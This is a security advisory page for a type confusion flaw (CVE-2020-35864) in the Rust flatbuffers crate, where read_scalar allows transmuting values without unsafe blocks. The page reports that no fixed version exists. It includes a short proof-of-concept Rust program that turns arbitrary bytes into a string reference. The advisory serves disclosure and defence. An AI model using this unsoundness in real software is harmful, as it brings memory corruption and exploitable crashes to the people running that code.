Type Confusion Affecting flatbuffers package, versions >=0.0.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (41st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Type Confusion vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUST-FLATBUFFERS-565724
  • published15 Apr 2020
  • disclosed11 Apr 2020
  • creditUnknown

Introduced: 11 Apr 2020

CVE-2020-35864  (opens in a new tab)
CWE-843  (opens in a new tab)

How to fix?

There is no fixed version for flatbuffers.

Overview

flatbuffers is a memory efficient serialization library.

Affected versions of this package are vulnerable to Type Confusion. The read_scalar and read_scalar_at functions are unsound because they allow transmuting values without unsafe blocks.

PoC

fn main() {
    #[derive(Copy, Clone, PartialEq, Debug)]
    struct S(&'static str);
    impl flatbuffers::EndianScalar for S {
        fn to_little_endian(self) -> Self { self }
        fn from_little_endian(self) -> Self { self }
    }
    println!("{:?}", flatbuffers::read_scalar::<S>(&[1; std::mem::size_of::<S>()]));
}

References

CVSS Scores

version 3.1